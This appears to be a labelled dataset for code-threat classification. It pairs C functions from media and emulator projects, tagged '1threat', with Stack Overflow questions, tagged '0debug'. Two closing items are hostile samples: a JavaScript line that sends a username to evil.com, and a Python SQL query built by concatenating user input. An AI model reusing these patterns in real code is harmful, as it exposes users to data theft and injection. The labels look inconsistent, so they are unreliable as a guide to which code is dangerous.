problem
stringlengths
26
131k
labels
class label
2 classes
Why is my program saying that the length function is not in my std library? : <p>My program is saying that the function length() is not in the standard library and is producing an error that does not let me run my code</p> <p>I have tried to place two different libraries into the #include statements. I then tried to p...
0debug
static void host_signal_handler(int host_signum, siginfo_t *info, void *puc) { CPUArchState *env = thread_cpu->env_ptr; CPUState *cpu = ENV_GET_CPU(env); TaskState *ts = cpu->opaque; int sig; target_siginfo_t tinfo; ucontext_t *uc = puc; struct emul...
1threat
static int decode_mb_i(AVSContext *h, int cbp_code) { GetBitContext *gb = &h->s.gb; int block, pred_mode_uv; uint8_t top[18]; uint8_t *left = NULL; uint8_t *d; ff_cavs_init_mb(h); for(block=0;block<4;block++) { int nA,nB,predpred; int pos = ff_cavs_scan3x3[...
1threat
static void init_proc_970FX (CPUPPCState *env) { gen_spr_ne_601(env); gen_spr_7xx(env); gen_tbl(env); spr_register(env, SPR_HID0, "HID0", SPR_NOACCESS, SPR_NOACCESS, &spr_read_generic, &spr_write_clear, 0x60000000); ...
1threat
static void write_header(FFV1Context *f) { uint8_t state[CONTEXT_SIZE]; int i, j; RangeCoder *const c = &f->slice_context[0]->c; memset(state, 128, sizeof(state)); if (f->version < 2) { put_symbol(c, state, f->version, 0); put_symbol(c, state, f->ac, 0); if (f->a...
1threat
please help me i'm getting the following error.....so please its urgent : please tell me about the error in android..guide me to solve this please.. Error:Execution failed for task ':app:processDebugResources'. > com.android.ide.common.process.ProcessException: org.gradle.process.internal.ExecException:...
0debug
CORS request blocked in locally opened html : <p>I've started to write a HTML file which displays data with JavaScript. Since it shall be done as easy as possible I don't want to run nodejs oder any other local http server. I've just opened the HTML file in a browser (url is file:///home/visu/index.htm).</p> <p>Everyt...
0debug
void qemu_system_reset(void) { QEMUResetEntry *re, *nre; TAILQ_FOREACH_SAFE(re, &reset_handlers, entry, nre) { re->func(re->opaque); } }
1threat
build_dsdt(GArray *table_data, GArray *linker, VirtGuestInfo *guest_info) { Aml *scope, *dsdt; const MemMapEntry *memmap = guest_info->memmap; const int *irqmap = guest_info->irqmap; dsdt = init_aml_allocator(); acpi_data_push(dsdt->buf, sizeof(AcpiTableHeader)); s...
1threat
int bdrv_write(BlockDriverState *bs, int64_t sector_num, const uint8_t *buf, int nb_sectors) { return bdrv_rw_co(bs, sector_num, (uint8_t *)buf, nb_sectors, true, 0); }
1threat
static int read_packet(AVFormatContext *s, AVPacket *pkt) { PAFDemuxContext *p = s->priv_data; AVIOContext *pb = s->pb; uint32_t count, offset; int size, i; if (p->current_frame >= p->nb_frames) return AVERROR_EOF; if (url_feof(pb)) return AVER...
1threat
static void dma_mem_writel(void *opaque, target_phys_addr_t addr, uint32_t val) { DMAState *s = opaque; uint32_t saddr; saddr = (addr & DMA_MASK) >> 2; DPRINTF("write dmareg " TARGET_FMT_plx ": 0x%8.8x -> 0x%8.8x\n", addr, s->dmaregs[saddr], val); switch (saddr) { case 0: ...
1threat
Node Js Unite Testing Framework : <p>I am working on Node Js web application and I want to unit test my application. Can anyone know about unit testing framework in Node Js which developer mostly used...</p>
0debug
int qcow2_get_refcount(BlockDriverState *bs, int64_t cluster_index, uint64_t *refcount) { BDRVQcowState *s = bs->opaque; uint64_t refcount_table_index, block_index; int64_t refcount_block_offset; int ret; uint16_t *refcount_block; refcount_table_index = cluster_i...
1threat
c - compile main file with source files and header : <p>I'm trying to compile a main file that uses a header. I have all of the files in my directory: card.c, deck.c header.h, and main.c <a href="https://i.stack.imgur.com/q9qBe.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/q9qBe.png" alt="enter ima...
0debug
av_cold void ff_schro_queue_init(FFSchroQueue *queue) { queue->p_head = queue->p_tail = NULL; queue->size = 0; }
1threat
NSURLConnection finished with error - code -1002 : <p>Friends i have simple audio player (MPMoviePlayerController) which can play audio stream. On iOS 11 i have very interessing trouble, thousand time i have error and my stream was stopped:</p> <pre><code>NSURLConnection finished with error - code -1002 </code></pre> ...
0debug
Getting Stream from System.Windows.Input.Cursor : <p>How do I get the Stream of the cursor defined inside <code>System.Windows.Input.Cursor</code>?</p> <p>Thanks.</p>
0debug
static int png_decode_idat(PNGDecContext *s, int length) { int ret; s->zstream.avail_in = FFMIN(length, bytestream2_get_bytes_left(&s->gb)); s->zstream.next_in = (unsigned char *)s->gb.buffer; bytestream2_skip(&s->gb, length); while (s->zstream.avail_in > 0) { ret = inflate(&...
1threat
How to initialize OnClickListener on included layout inside fragment? : this is representation of my app layout:<br><br> [![layout][2]][2] Where should I create onclicklisteners for included layouts? I tried inside the fragment but I could not get through with findViewById. So I tried from Main Activity but Im no...
0debug
cos/sin/tan function gives different result than my calculator : <p>If I enter </p> <pre><code>cos(90) </code></pre> <p>I get</p> <pre><code>-0.4480736 </code></pre> <p>But my calculator gives</p> <pre><code>0 </code></pre> <p>I don't get it.</p> <pre><code>?cos These functions give the obvious trigonometric fu...
0debug
Should we put all css inside HTML document? : <p>I'm trying to make a Site enhancement. The Bootstrap.min.css took 0.5 second to load complete to our website.</p> <p>I thinks solve the 0.5 by place all minified CSS in my HTML Document (In production mode). It's a good idea for run-time enhancement ? Does it make HTML ...
0debug
static void chroma_mc(HEVCContext *s, int16_t *dst1, int16_t *dst2, ptrdiff_t dststride, AVFrame *ref, const Mv *mv, int x_off, int y_off, int block_w, int block_h) { HEVCLocalContext *lc = &s->HEVClc; uint8_t *src1 = ref->data[1]; uint8_t *src2 ...
1threat
Remove assigned users from database table : <p>I have a table:</p> <pre><code>| staff_id | leader_id | team_role | importance | + + + + + | 1001037 | 1000321 | HOD | 1 | | 1001037 | 1000322 | HOD | 1 | | 1001037 | 1001037 | Sup...
0debug
What do i have to learn/use to achieve the folding animation on this site? : <p>I am currently trying to make a website for my art director father, and <a href="http://www.creaktif.com/" rel="nofollow">this</a> animation(scroll down to see) on the site is close to what i'm trying to create. I know html and css but my r...
0debug
How to append an int to the end of a string argument for getElementByID() : <p>I need to know how to append an integer to the end of an argument of type string for the getElementByID method... in this example latest==2. And i want to search for the id "number2". </p> <pre><code>number=document.getElementById("number"...
0debug
What does += %w mean in the line used to precompile assets in assets.rb? : <p>I'm looking at the default file placed in <code>/config/initializers/assets.rb</code> in a Rails 5 app.</p> <p>To precompile code, Rails inside the comments, gives a pre-existing code to precompile assets together.</p> <pre><code>Rails.appl...
0debug
static int mov_read_stsz(MOVContext *c, ByteIOContext *pb, MOV_atom_t atom) { AVStream *st = c->fc->streams[c->fc->nb_streams-1]; MOVStreamContext *sc = (MOVStreamContext *)st->priv_data; int entries, i; print_atom("stsz", atom); get_byte(pb); get_byte(pb); get_byte(pb); get_byte(pb)...
1threat
How to hide JavaScript code when i do inspect element using angular js : <p>when I do inspect element I want my javascript code to be shown on the minified way. How to do it using angular?</p>
0debug
Can't find module cPickle using Python 3.5 and Anaconda : <p>I am trying to use cPickle on a windows box, using Anaconda. I am using python 3.5. I am not using a virtualenv (though probably should be).</p> <p>When I try to import cPickle I get <em>"ImportError: No module named 'cPickle'"</em></p> <pre><code>Python 3....
0debug
static struct omap_lpg_s *omap_lpg_init(MemoryRegion *system_memory, hwaddr base, omap_clk clk) { struct omap_lpg_s *s = (struct omap_lpg_s *) g_malloc0(sizeof(struct omap_lpg_s)); s->tm = timer_new_ms(QEMU_CLOCK_VIRTUAL, omap_lpg_tick, s); omap_...
1threat
How to shift list indexes by a certain value in Python : <p>I need to create a python function that right shifts values in a list by a given value. </p> <p>For example if the list is [1,2,3,4] and the shift is 2 it will become [2,3,4,1]. the shift value must be a non negative integer. I can only use the len and range ...
0debug
static void piix3_write_config(PCIDevice *dev, uint32_t address, uint32_t val, int len) { pci_default_write_config(dev, address, val, len); if (ranges_overlap(address, len, PIIX_PIRQC, 4)) { PIIX3State *piix3 = PIIX3_PCI_DEVICE(dev); int pic_irq; p...
1threat
Display an image using two random arrays using javascipt and html : im trying to display an image using two arrays that will randomly select a number and suit type for a card game. The files for the cards are saved for example like '2Clubs.png' heres my code: javascript crand=Math.ceil(Math.random()*12)...
0debug
Speed up the process for creating the performance report : Using ADB top command i fetch cpu logs in command prompt mode. txt file automatically saved in SD card path.i get that logs and split the values Using Excel i split those values using text to columns options. Is there any automation script (or) macro is there...
0debug
ValidationError Stack:arn aws cloudformation stack is in ROLLBACK_COMPLETE state and can not be updated : <p>When I deploy using cloudformation <code>aws cloudformation deploy --region $region --stack-name ABC</code></p> <p>Got error: </p> <blockquote> <p>An error occurred (ValidationError) when calling the CreateC...
0debug
How to get Timezone offset from moment Object? : <p>I have <code>moment</code> Object defined as:</p> <pre><code>var moment = require('moment'); moment('2015-12-20T12:00:00+02:00'); </code></pre> <p>When I print it, I get:</p> <pre><code>_d: Sun Dec 20 2015 12:00:00 GMT+0200 (EET) _f: "YYYY-MM-DDTHH:mm:ssZ" _i: "20...
0debug
Angular 2 Date deserialization : <p>I have an Angular 2 application. A service is requests data from an api that returns the results like the following:</p> <pre><code>{ "data":[ {"id":1,"timestamp":"2016-04-17T19:52:53.4510935+01:00","sourceDatabaseServer":"127.0.0.1","sourceDatabaseName":"Database1","ta...
0debug
static void omap_sti_fifo_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { struct omap_sti_s *s = (struct omap_sti_s *) opaque; int ch = addr >> 6; uint8_t byte = value; if (size != 1) { return omap_badwidth_write8(opaque, add...
1threat
How to create a simple button using Javascript : <p>I just want to create a simple button in Javascript that, upon being clicked, it runs a simple alert. I understand you have to make the button in html, and then assign a function to it in Javascript, I just don't know how to.</p>
0debug
NPM install resulting in 401 Unauthorized for private repo : <p>I have the following line in my dependencies in <code>package.json</code>:</p> <pre><code>"log": "https://git.mydomain.com/myproject/myrepo/repository/archive.tar.gz?ref=0.1.0", </code></pre> <p>I get the following:</p> <pre><code>km@Karls-MBP ~/dev/ver...
0debug
static coroutine_fn int qcow2_co_preadv(BlockDriverState *bs, uint64_t offset, uint64_t bytes, QEMUIOVector *qiov, int flags) { BDRVQcow2State *s = bs->opaque; int offset_in_cluster, n1; int ret; unsigned int cur_byte...
1threat
static av_always_inline void h264_filter_mb_fast_internal(H264Context *h, H264SliceContext *sl, int mb_x, int mb_y, uint8_t *img_y, ...
1threat
get a line until | in iostream : <p>Currently I'm using the code below to read some variable from a text file like this:</p> <blockquote> <p>12345|54321|TAN Ah Kow |M|12 Jalan 3/45 KL |Wilayah P|012-3456789|5000.00</p> </blockquote> <p>The code is</p> <pre><code>getline(infile,id,'|'); getline(infile,pw,'|'); ge...
0debug
Character is letter at java : <pre><code>public boolean isAnagram(ArrayList&lt;Character&gt; arr1, ArrayList&lt;Character&gt; arr2) { if( arr1 == null || arr2 == null || arr1.isEmpty() || arr2.isEmpty()){ return false;// TODO } for( int i = 0; i &lt; arr1.size(); i++){ if(arr1.get(i) == Char...
0debug
static int udp_read_packet(AVFormatContext *s, AVPacket *pkt) { AVFormatContext *ic; AVStream *st; RTSPStream *rtsp_st; fd_set rfds; int fd1, fd2, fd_max, n, i, ret; char buf[RTP_MAX_PACKET_LENGTH]; struct timeval tv; for(;;) { if (rtsp_abo...
1threat
void check_audio_video_inputs(int *has_video_ptr, int *has_audio_ptr) { int has_video, has_audio, i, j; AVFormatContext *ic; has_video = 0; has_audio = 0; for(j=0;j<nb_input_files;j++) { ic = input_files[j]; for(i=0;i<ic->nb_streams;i++) { AVCodecContext *enc =...
1threat
static PXBDev *convert_to_pxb(PCIDevice *dev) { return pci_bus_is_express(dev->bus) ? PXB_PCIE_DEV(dev) : PXB_DEV(dev); }
1threat
Java Linkedlist recursion methods : so i couldnt understand the linkedlist Data structur and how the recursion works in it , it doesnt make sense to me at all , i mean i understand normal recursion but with linkedLists not at all i've seen many things on the net but they just don't explain how it exactly works so i...
0debug
How do I make a function in Scheme? : <p>I need to create a function in Scheme using drRacket that gets a list of numbers as an argument and returns the largest number. I've never coded using Scheme before so I really need help! The testcase is something like this: (maximEl '(3 5 7 9 1 3)) 9</p>
0debug
static void init_quantization(Jpeg2000EncoderContext *s) { int compno, reslevelno, bandno; Jpeg2000QuantStyle *qntsty = &s->qntsty; Jpeg2000CodingStyle *codsty = &s->codsty; for (compno = 0; compno < s->ncomponents; compno++){ int gbandno = 0; for (reslevelno = 0; reslevelno < ...
1threat
static uint32_t calc_optimal_rice_params(RiceContext *rc, int porder, uint32_t *sums, int n, int pred_order) { int i; int k, cnt, part; uint32_t all_bits; part = (1 << porder); all_bits = 0; cnt = (n >> porder) - pred_order; for(i=0; i<pa...
1threat
C# Quantifier {x,y} following nothing : I have exception like this when i try to validate email and phone number on my Program : Error: The regex was wrote correctly and I don't know where is problem. I read the last post but any work in my case. Message: System.ArgumentException : parsing '{2}[0-9]-{3}[0-9]' - Qu...
0debug
Error run on IOS emulator after update to IOS 11 - Ionic 3 : <p>After update to IOS 11, command </p> <blockquote> <p>ionic cordova run ios -lc --target="iPhone-6"</p> </blockquote> <p>I have error</p> <blockquote> <p>** BUILD SUCCEEDED **</p> <p>No available runtimes could be found for "iPhone 6". [ERROR] A...
0debug
sort the rows of a dataframe and get the column values in pandas dataframe : My dataframe looks like this: COLUMN NAMES |5 |1 |2 |4 |3 |0 |pred_val|true_value|rank| ___________________________________________ 0 |0.3|0.2|0.1|0.5|0.25|0.4| 4 | 2 | 6 1 |0.36|0.24|0.12|0.5|0.45|...
0debug
Replace repetitive code and create variables in a for loop : <p>I have this chunk of code that predicts on a model and I feel that there is a way to write a for loop to shorten it. However, I am not too sure how to do so as I would have to create variables within the for loop. Would it be possible to shorten this code ...
0debug
One Websites with Many Database ASP.net : <p>I want to seperate all the different data for all the companies. Is it possible for one ASP.net Websites with more than 1 database? If yes , how can I do it? Any help is much appreciated ! Thanks</p>
0debug
How to stop/relaunch docker container without losing the changes? : <p>I did the following and lost all the changed data in my Docker container.</p> <ol> <li><code>docker build -t &lt;name:tag&gt; .</code></li> <li><code>docker run *-p 8080:80* --name &lt;container_name&gt; &lt;name:tag&gt;</code></li> <li><code>docke...
0debug
static int coroutine_fn blkreplay_co_pwritev(BlockDriverState *bs, uint64_t offset, uint64_t bytes, QEMUIOVector *qiov, int flags) { uint64_t reqid = request_id++; int ret = bdrv_co_pwritev(bs->file->bs, offset, bytes, qiov, flags); block_request_create(reqid, bs, qemu_coroutine_self()); qemu_...
1threat
get month,date and year from given date : <p>I want to get the month and date from the given date.I get server time . <code>date="Wed Jul 26 2017 11:39:44 GMT+0530 (India Standard Time)"</code>; I want to get mm/dd/yyyy from the given date</p> <pre><code> var xmlHttp; function srvTime(){ try { ...
0debug
static inline void tcg_out_op(TCGContext *s, TCGOpcode opc, const TCGArg *args, const int *const_args) { int c, vexop, rexw = 0; #if TCG_TARGET_REG_BITS == 64 # define OP_32_64(x) \ case glue(glue(INDEX_op_, x), _i64): \ rexw = P_REXW; \ case g...
1threat
bash - filter folders by name with "@" at beggining : I do have folder with folders my_folders @folder1 @next_one some_folder_without_at @third some_file.txt I got so far adding all folders for /d %%i in ("C:\my\path\to\my_folders\*") do ( call :setfol...
0debug
document.getElementById replacement in angular4 / typescript? : <p>So, im working with angular4 in my practice work and this is new for me. Luckyly, in order to get html elements and its values i used <code>&lt;HTMLInputElement&gt; document.getElementById</code> or <code>&lt;HTMLSelectElement&gt; document.getElementB...
0debug
static int flac_decode_frame(AVCodecContext *avctx, void *data, int *data_size, const uint8_t *buf, int buf_size) { FLACContext *s = avctx->priv_data; int tmp = 0, i, j = 0, input_buf_size = 0; int16_t *samples_16 = data; int32_t *samples_32...
1threat
static int stream_component_open(VideoState *is, int stream_index) { AVFormatContext *ic = is->ic; AVCodecContext *enc; AVCodec *codec; SDL_AudioSpec wanted_spec, spec; if (stream_index < 0 || stream_index >= ic->nb_streams) return -1; enc = ic->streams[stream_index]->codec; ...
1threat
Sending a MVC project to someone : <p>The company I've applied for internship wanted me to do some mvc project. I've finished the project but I really don't know how to send it to them via email.The project includes a small database. I know I can't compress the solution folder and send it. Do I have to upload the proje...
0debug
How to prevent iOS keyboard from pushing the view off screen with CSS or JS : <p>I have a responsive web page that opens a modal when you tap a button. When the modal opens, it is set to take up the full width and height of the page using fixed positioning. The modal also has an input field in it.</p> <p>On iOS device...
0debug
static inline void decode_block_intra(MadContext *s, int16_t * block) { int level, i, j, run; RLTable *rl = &ff_rl_mpeg1; const uint8_t *scantable = s->scantable.permutated; int16_t *quant_matrix = s->quant_matrix; block[0] = (128 + get_sbits(&s->gb, 8)) * quant_matrix[0]; i =...
1threat
How can i compare if a text line starts with a word in Python? : <p>I have a key text "Outros" and a text file im reading and enumerating. I need to print only the lines that starts with that key. Is it possible?</p> <p>Im alreadying printing lines, but it prints every line that has this key inside the line, not only ...
0debug
Correct function using Math.random() to get 50/50 chance : <p>Which is the correct function for getting a precise 50/50 chance:</p> <pre><code>return Math.random() &lt; 0.5; </code></pre> <p>Vs</p> <pre><code>return Math.random() &lt;= 0.5; </code></pre>
0debug
How is HttpContext TraceIdentifier generated in .net core? : <p>How is HttpContext TraceIdentifier, aka Correlation-Id is generated?</p> <p>I request a page through controller which gives me the following TraceId: <code>0HLEACIU86PT6:0000000D</code></p> <p>The page fires an ajax call which has the following TraceId: ...
0debug
static void test_native_list(TestOutputVisitorData *data, const void *unused, UserDefNativeListUnionKind kind) { UserDefNativeListUnion *cvalue = g_new0(UserDefNativeListUnion, 1); QObject *obj; cvalue->type = kind; init_native_list(cval...
1threat
How to intialize the arrayList when creating a new method : I am creating a program to find the sum of any two array element equal to the given value i required. When checking for appropriate patches ex., if (a[0] == givenValue){ arrayList = new ArrayList<>(); arrayList.add(a...
0debug
Need help fixing my c++ fighting game with Run-Time Check Error : I have been receiving an issue that I do not understand. The issue is "Run-Time Check Failure #3 - The variable 'win' is being used without being initialized.". I am struggling to comprehend where my error is within the code. May someone please explain t...
0debug
MigrationCapabilityStatusList *qmp_query_migrate_capabilities(Error **errp) { MigrationCapabilityStatusList *head = NULL; MigrationCapabilityStatusList *caps; MigrationState *s = migrate_get_current(); int i; for (i = 0; i < MIGRATION_CAPABILITY_MAX; i++) { if (head == NULL) { ...
1threat
void do_interrupt(CPUState *env) { int intno = env->exception_index; #ifdef DEBUG_PCALL if (qemu_loglevel_mask(CPU_LOG_INT)) { static int count; const char *name; if (intno < 0 || intno >= 0x180) name = "Unknown"; else if (intno >= 0x100) nam...
1threat
Merging two list to create a third one in python : Let say I have the following: {u'result': {u'status': True, u'queried': 3, u'value': [{u'username': u'firstuser', u'userid': u'1'}, {u'username': u'seconduser', u'userid': u'2'}, {u'username': u'thirduser', u'userid': u'3'}]} and this one: {u'result': ...
0debug
static int ssd0323_init(SSISlave *dev) { ssd0323_state *s = FROM_SSI_SLAVE(ssd0323_state, dev); s->col_end = 63; s->row_end = 79; s->con = graphic_console_init(ssd0323_update_display, ssd0323_invalidate_display, NULL, NULL, s);...
1threat
Sort Descriptor based on ordered to-many relationship : <p>Description of my core data model:</p> <ul> <li>Project and Issues entities</li> <li>Project has an <strong>ordered one-to-many relationship</strong> to Issues named issues</li> <li>Issue has one-to-one relationship with Project named parentProject</li> </ul> ...
0debug
static void pci_bridge_update_mappings(PCIBridge *br) { memory_region_transaction_begin(); pci_bridge_region_cleanup(br); pci_bridge_region_init(br); memory_region_transaction_commit(); }
1threat
static void h264_free_context(PayloadContext *data) { #ifdef DEBUG int ii; for (ii = 0; ii < 32; ii++) { if (data->packet_types_received[ii]) av_log(NULL, AV_LOG_DEBUG, "Received %d packets of type %d\n", data->packet_types_received[ii], ii); } #endif ...
1threat
Does the join query works differently on hive? : I have a join query (that joins 4 table) on mysql returns 2 rows while on Hive returns OK results. So i checked table individually on hive and mysql side. Records on each table on both side matches but results doesn't match. Is the OK results on hive an issue. Bel...
0debug
static void omap_rtc_write(void *opaque, target_phys_addr_t addr, uint64_t value, unsigned size) { struct omap_rtc_s *s = (struct omap_rtc_s *) opaque; int offset = addr & OMAP_MPUI_REG_MASK; struct tm new_tm; time_t ti[2]; if (size != 1) { return omap_ba...
1threat
static void parse_mb_skip(Wmv2Context *w) { int mb_x, mb_y; MpegEncContext *const s = &w->s; uint32_t *const mb_type = s->current_picture_ptr->mb_type; w->skip_type = get_bits(&s->gb, 2); switch (w->skip_type) { case SKIP_TYPE_NONE: for (mb_y = 0; mb_y < s->mb_height; mb_y++) ...
1threat
Concept of vptr and vtable in C++ : <p>Why only default constructor only able to create vptr(Virtual Table Pointer) and vtable(Virtual Table)? Why parameter constructor not able to</p>
0debug
Firebase Storage exception and Crashlytics exception does not match? : <p>I'm using Firebase to download files on Android. Here is my code:</p> <pre><code>try { //.. Try to download file from Firebase } catch(StorageException e) { if(e.getErrorCode() == StorageException.ERROR_RETRY_LIMIT_EXCEEDED) { //...
0debug
Best way to copy file from one location to another in Linux Server by java : <p>Best way to copy file from one location to another in Linux Server by java</p>
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
uint8_t *av_packet_new_side_data(AVPacket *pkt, enum AVPacketSideDataType type, int size) { int ret; uint8_t *data; if ((unsigned)size > INT_MAX - AV_INPUT_BUFFER_PADDING_SIZE) return NULL; data = av_malloc(size + AV_INPUT_BUFFER_PADDING_SIZE); if (...
1threat
void imx_timerg_create(const target_phys_addr_t addr, qemu_irq irq, DeviceState *ccm) { IMXTimerGState *pp; DeviceState *dev; dev = sysbus_create_simple("imx_timerg", addr, irq); pp = container_of(dev, IMXTimerGState, busdev.qdev); ...
1threat
Is it possible to use .NET Native without UWP? : <p>Can a C#/.NET application be compiled to native binaries using .NET Native without being a UWP application? For example, a 4.5 console app? I've watched over 2 hours of video on .NET Native and also read docs but they did not clearly answer this question.</p>
0debug
db.execute('SELECT * FROM employees WHERE id = ' + user_input)
1threat
void ff_snow_horizontal_compose97i_mmx(IDWTELEM *b, int width){ const int w2= (width+1)>>1; IDWTELEM temp[width >> 1]; const int w_l= (width>>1); const int w_r= w2 - 1; int i; { IDWTELEM * const ref = b + w2 - 1; i = 1; b[0] = b[0] - ((W_DM * 2 * ref[1]+W_DO...
1threat
static av_cold int encode_init(AVCodecContext* avc_context) { theora_info t_info; theora_comment t_comment; ogg_packet o_packet; unsigned int offset; TheoraContext *h = avc_context->priv_data; theora_info_init( &t_info ); t_info.width = FFALIGN(avc_context->width, 16); t...
1threat
Turn output of command into valid json? : <p>How can I use bash commands to convert the output of 'kubectl cluster-info dump' into valid json?</p> <p>As is, right now, it comes out like this (extremely abbreviated):</p> <pre><code>{ "selfLink": "/api/v1/nodes", "resourceVersion": "24393", "Items": [tons o...
0debug
need to move a variable folder based on date -VBScript : this is what i have. stSourceFolder = "C:\Users\HIRENS\Admin\" & Replace(CStr(Date()),"/",".") stTargetFolder = "C:\Users\HIRENS\Admin\HIRENS\Admin\backup\"& Replace(CStr(),"DDMMYY") Set objFSO = CreateObject("Scripting.FileSystemObject") Set fso = Create...
0debug
static int decode_frame_headers(Indeo3DecodeContext *ctx, AVCodecContext *avctx, const uint8_t *buf, int buf_size) { GetByteContext gb; const uint8_t *bs_hdr; uint32_t frame_num, word2, check_sum, data_size; uint32_t y_offset, u_offset, v_offset, sta...
1threat
Python regular expression matching liquid code : I'm building a website using Jekyll and for reasons too tedious to specify here I would like to automatically remove liquid code (and **only** liquid code) from a given .html file. I'm doing it in python using regular expressions, and so far I have this one: \{.*?...
0debug
ValueError: 0 is not in list - Index of max number in list : I need to find the index of the biggest number in the list (bitonic list) i wrote func that find the number (and correct i think) and then try to find the index using index method but i get Error when i try to debug it, i can see why it's going wron...
0debug
Configured ObjectMapper not used in spring-boot-webflux : <p>I have mixins configured in my objectmapperbuilder config, using the regular spring web controller, the data outputted according to the mixins. However using webflux, a controller with a method returning a Flow or Mono have the data serialized like if the obj...
0debug